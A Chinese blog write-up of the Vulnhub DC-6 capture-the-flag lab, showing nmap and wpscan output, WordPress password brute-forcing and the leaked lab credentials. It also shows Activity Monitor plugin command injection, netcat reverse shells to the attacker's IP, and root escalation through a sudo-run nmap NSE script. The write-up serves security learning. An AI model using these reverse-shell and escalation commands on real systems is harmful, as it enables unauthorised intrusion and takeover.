【Vulnhub靶机】DC-6

最新推荐文章于 2024-06-15 03:42:33 发布
最新推荐文章于 2024-06-15 03:42:33 发布
阅读量2.9k 收藏 8
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_40863723/article/details/104325665
版权

多喝热水：http://hackergu.com

主机发现

​ 使用netdiscover命令，发现主机IP为192.168.203.132

端口探测

​ 使用Nmap，nmap -sV -A 192.168.203.132 --script=vuln。

​ 探测结果：

root@kali:~# nmap -sV -A 192.168.203.132 --script=vuln
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 09:38 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.203.132
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2 
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
|_http-server-header: Apache/2.4.25 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-wordpress-users: 
| Username found: admin
| Username found: graham
| Username found: mark
| Username found: sarah
| Username found: jens
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
|_https-redirect: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.25: 
|     	CVE-2017-7679	7.5	https://vulners.com/cve/CVE-2017-7679
|     	CVE-2017-7668	7.5	https://vulners.com/cve/CVE-2017-7668
|     	CVE-2017-3169	7.5	https://vulners.com/cve/CVE-2017-3169
|     	CVE-2017-3167	7.5	https://vulners.com/cve/CVE-2017-3167
|     	CVE-2019-0211	7.2	https://vulners.com/cve/CVE-2019-0211
|     	CVE-2018-1312	6.8	https://vulners.com/cve/CVE-2018-1312
|     	CVE-2017-15715	6.8	https://vulners.com/cve/CVE-2017-15715
|     	CVE-2019-10082	6.4	https://vulners.com/cve/CVE-2019-10082
|     	CVE-2017-9788	6.4	https://vulners.com/cve/CVE-2017-9788
|     	CVE-2019-0217	6.0	https://vulners.com/cve/CVE-2019-0217
|     	CVE-2019-10098	5.8	https://vulners.com/cve/CVE-2019-10098
|     	CVE-2019-10081	5.0	https://vulners.com/cve/CVE-2019-10081
|     	CVE-2019-0220	5.0	https://vulners.com/cve/CVE-2019-0220
|     	CVE-2019-0196	5.0	https://vulners.com/cve/CVE-2019-0196
|     	CVE-2018-17199	5.0	https://vulners.com/cve/CVE-2018-17199
|     	CVE-2018-1333	5.0	https://vulners.com/cve/CVE-2018-1333
|     	CVE-2017-9798	5.0	https://vulners.com/cve/CVE-2017-9798
|     	CVE-2017-7659	5.0	https://vulners.com/cve/CVE-2017-7659
|     	CVE-2017-15710	5.0	https://vulners.com/cve/CVE-2017-15710
|     	CVE-2019-0197	4.9	https://vulners.com/cve/CVE-2019-0197
|     	CVE-2019-10092	4.3	https://vulners.com/cve/CVE-2019-10092
|     	CVE-2018-11763	4.3	https://vulners.com/cve/CVE-2018-11763
|_    	CVE-2018-1283	3.5	https://vulners.com/cve/CVE-2018-1283
MAC Address: 00:0C:29:FD:79:62 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.37 ms 192.168.203.132

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.90 seconds

这套靶机是要修改host文件的，具体可以参看我写的DC-2这篇文章。

因为做靶机做的习惯了，上来直接就看80端口，正好看到需要修改host文件，就直接修改了。

​ 从扫描的结果来看，目标机器开放了22端口和80端口，80端口的web服务是一个Wordpress站点，并且还扫出了一些用户名。

| Username found: admin
| Username found: graham
| Username found: mark
| Username found: sarah
| Username found: jens

获取Shell

​ 我们先去站点看一下：

​ 看到这句话，我就大致确定可能得寻找插件的漏洞。

WPscan

​ 日wpscan的站点，当然要使用wpscan了。但是我利用这两条命令，都没能扫出可用漏洞。

wpscan --url http://wordy/ -e vt   扫描主题的漏洞
wpscan --url http://wordy/ -e vp   扫描插件的漏洞

​ 那剩下的思路就应该是密码爆破了。

来到DC-6的网站看一下，发现一条提示：

​ 我们需要利用此命令生成一个词典：

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

​ 进行爆破：

wpscan --url http://wordy/ --passwords passwords.txt --usernames admin,graham,mark,sarah,jens

​ 最终得到了一个账户和密码：

[i] Valid Combinations Found:
 | Username: mark, Password: helpdesk01

登录后台

​ 利用得到的账户和密码登陆后台：

​ 一番查看之后，发现此用户的权限并不高。

​ 但是，发现了一个有趣的插件activity monitor

Activity Monitor远程命令执行

​ 将此插件拿去百度搜了一下，发现此插件存在漏洞。

​ 不清楚wpscan为什么扫不出来呢？

​ 那接下来就利用此漏洞：

找到如下位置，然后写IP，点击lookup，抓包。

既然这样那就直接反弹shell吧。

nc 192.168.203.129 7777 -e /bin/bash

拿到shell了。

提权

使用了以下两个命令，都没有特别大的发现。

sudo -l
find / -user root -perm -4000 -print 2>/dev/null

习惯性的去了/home下，在mark文件夹下看到了一个文件：

cat things-to-do.txt 
Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

​ 这里应该是创建了一个账户。

​ 并且还在jens用户夹中发现了一个脚本：

www-data@dc-6:/home$ cd jens
cd jens
www-data@dc-6:/home/jens$ ls
ls
backups.sh
www-data@dc-6:/home/jens$ cat backups.sh
cat backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html

​ 不知道咋利用呀，先切换用户看看

​ 重点来了！！！

​ 此用户可以不需要密码得到jens的shell。

​ 那我们在kali中再设置一个监听，再反弹：

#!/bin/bash
nc 192.168.203.129 8888 -e /bin/bash

在这里，由于反弹shell不太方便vi编写，我又用ssh登录了。

​ 改写好脚本之后，我们使用jens账户执行此脚本。

sudo -u jens /home/jens/backups.sh

​ 现在我们拿到jens账户的shell了。

​ 再次sudo -l

​ 发现我们可以无需root密码执行nmap。

​ nmap可以执行它自己的脚本文件，后缀为.nse

#!/bin/bash
nc 192.168.203.129 9999 -e /bin/bash

​ 这个地方卡了好久，本来想再反弹shell，但是这个这种反弹的编辑器太难受了。

​ 参考了大神的思路，使用：

echo 'os.execute("/bin/sh")' > root.nse

jens@dc-6:~$ echo 'os.execute("/bin/sh")' > root.nse
echo 'os.execute("/bin/sh")' > root.nse
jens@dc-6:~$ cat root.nse
cat root.nse
os.execute("/bin/sh")
jens@dc-6:~$ sudo nmap --script=root.nse
sudo nmap --script=root.nse

Starting Nmap 7.40 ( https://nmap.org ) at 2020-02-15 13:43 AEST
# whoami
root
# cd /root
# ls
theflag.txt
# cat theflag.txt


Yb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8b 
 Yb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8P 
  YbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"' 
   YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8) 


Congratulations!!!

Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

​ 提权成功！

hackergu.com
关注
  • 0
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【vulnhub】---DC-6靶机
qq_43168364的博客
08-21 647
目录 一、实验环境 二、信息收集 三、渗透测试 　　1、漏洞发现和利用 　　2、提权 四、总结 一、实验环境 靶机：靶机(192.168.15.154) 攻击机：kali Linux(192.168.15.129) 二、信息收集 主机发现 命令：nmap -sn 192.168.15.0/24 命令：netdiscover -i eth0 -r 192.168.15.0/24 端口扫描 版本探测和操作系统识别 web指纹识别 网站目录扫描 三、渗透测试 1、漏洞发现和利用 2、提权 四、总结 渗
Vulnhub靶机实战——DC-6
冠霖L的博客
10-28 3874
靶机DC-6下载地址：https://download.vulnhub.com/dc/DC-6.zip 环境：VMware 15虚拟机软件 DC-6靶机IP地址：192.168.220.139 Kali的IP地址：192.168.220.142 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.142...
Nmap的漏洞利用脚本初探
a1b2c3是弱口令
03-16 8344
Nmap的漏洞利用脚本初探 made by tdcoming! 1.概述 使用nmap进行扫描的时候，总会去结合者使用一些漏洞发现利用的脚本！但是呢，namp到底还有多少“秘密”！今天打算去研究一波，看看会不会舔到什么包，至少学习的路上不停的“跑毒”还是很有必要的！ 2.开启脚本封印 正确的解开封印的姿势： cd /usr/share/nmap/scripts #进入nm...
靶机DC-9—WP
最新发布
m0_66638011的博客
06-15 785
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题，例如各种操作系统的漏洞，Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值，因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。之前更新到DC-4了，感觉这次DC-9会更有内涵，所以先进行DC-9的更新，中间的会进行补充。
Avahi DOS攻击broadcast-avahi-dos
weixin_34087301的博客
05-03 452
2019独角兽企业重金招聘Python工程师标准>>> ...
给Linux系统/网络管理员准备的Nmap命令的29个实用范例
刘书的IT博客
01-21 8138
Nmap即网络映射器对Linux系统/网络管理员来说是一个开源且非常通用的工具。Nmap用于在远程机器上探测网络，执行安全扫描，网络审计和搜寻开放端口。它会扫描远程在线主机，该主机的操作系统，包过滤器和开放的端口。 　　我将用两个不同的部分来涵盖大部分NMAP的使用方法，这是nmap关键的第一部分。在下面的设置中，我使用两台已关闭防火墙的服务器来测试Nmap命令的工作情况。 1
【网络安全】CVE漏洞分析以及复现
Android_wxf的博客
04-21 1709
这个比 Shiro550、Shiro721 要增加一些东西，首先看 pom.xml 这个配置文件，因为漏洞是 shiro 1.0.0 版本的。Shiro 在路径控制的时候，未能对传入的 url 编码进行 decode 解码，导致攻击者可以绕过过滤器，访问被过滤的路径。的 bypass 方式也是合理的，可能一些其他特殊字符也是可以的，前提是对请求并不造成影响，像。继续往下走，判断 html 的目录与当前请求的目录是否相同，因为我们请求被拆分出来是。的匹配范围，这里之前我们设定的访问方式是。
渗透测试工具-Nmap
aming小老弟
03-11 1482
nmap -v 详细信息输出 nmap -p 指定端口 nmap -iL 扫描文件中的ip nmap -exclude 不扫描某些ip nmap -Pn 使用ping扫描，显式地关闭端口扫描，用于主机发现 nmap -sn 使用ping扫描，进行端口扫描，假设主机都是up的 nmap -sS 使用SYN扫描，不需要完成三次握手 nmap -sT TCP connect扫描，需要完成三次握手，只适用于找出TCP和UDP端口 nmap -sU 扫描UDP端口 nmap -sF FIN扫描，用于探测防火墙...
vulnhub靶机实战-My-cmsms靶机
09-29
vulnhub靶机实战-My-cmsms靶机 本文档将针对vulnhub靶机实战-My-cmsms靶机，详细讲解靶机的主机发现、端口扫描、服务版本识别等相关技术。 主机发现 在靶机实战中，主机发现是指通过各种技术手段来发现目标网络中...
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
Vulnhub靶机渗透测试 DC-1靶机
03-05
Vulnhub靶机渗透测试 DC-1靶机
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
初级安全入门——安全漏洞的检测与利用
weixin_30512043的博客
03-16 333
切记不要随意扫描公网的主机(扫描国外的另外一说)，建议在自己的主机上搭载虚拟机作为靶机 切记不要在校园网内扫描！！！切记不要在校园网内扫描！！！切记不要在校园网内扫描！！！ 实验网络拓扑如下： 工具简介 Kali操作系统 Kali Linux是安全业内最知名的安全渗透测试专用操作系统。它的前身就是业界知名的BackTrack操作系统。BackTrack在2013年停止更新，转为Kali Lin...
Python字符串的‘ ’，“ ”，''' '''
wyyy2088511的博客
01-18 2661
1、如果'本身也是一个字符，那就可以用""括起来，比如"I'm OK"包含的字符是I，'，m，空格，O，K这6个字符。2、字符串内部既包含'又包含"怎么办？可以用转义字符\来标识'I\'m \"OK\"!'3、如果字符串里面有很多字符都需要转义，就需要加很多\，为了简化，Python还允许用r''表示''内部的字符串默认不转义>>> print '\\\t\\' \ \ >>> pri
i love you 浪漫字体复制_文案 I 第一眼就爱上的句子
weixin_30218733的博客
12-12 6256
ᴸⁱᵛᵉ ᵃ ᵍᵒᵒᵈ ˡⁱᶠᵉ ᵐᵉᵉᵗ ˢˡᵒʷˡʸ（好好生活 慢慢相遇）ᴵ ʰᵒᵖᵉ ʸᵒᵘ'ʳᵉ ʰᵉʳᵉ ᶠᵒʳ ᵐᵉ（我希望你为我而来）ᴬʳᵒᵘⁿᵈ ᵗʰᵉ ᵍᵃˡᵃˣʸ, ᵗʰᵉʳᵉ ᵃʳᵉ ⁿᵒ ᵇʳⁱᵍʰᵗᵉʳ ˢᵗᵃʳˢ ᵗʰᵃⁿ ʸᵒᵘ.（环游遍了整个星系，找不到比你更亮的星星）ᵀʰᵉ ᶠⁱʳˢᵗ ᵒⁿᵉ ᵒᵘᵗ ᵒᶠ ᵗʰᵉ ᵇⁱᵍ ʷⁱⁿᵈ ᶜᵃᵐᵉ ʰᵒᵐᵉ ʷⁱᵗʰ ...
常用漏扫工具
m0_57485346的博客
03-29 1705
常用漏洞扫描工具
常见符号集汇总
热门推荐
mart!nhu的博客
10-13 2万+
常见字符、符号、标点、文字、表情编码
vulnhub靶机-jangow: 1.0.1
03-16
vulnhub靶机-jangow: 1..1是一款用于渗透测试和漏洞攻击的虚拟机。它基于Ubuntu操作系统，包含多个漏洞和弱点，供安全专业人员进行测试和实践。该靶机的目标是获取root权限，并且需要使用各种技术和工具来完成任务。对于想要提高渗透测试技能的安全从业者来说，这是一个非常有用的学习资源。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值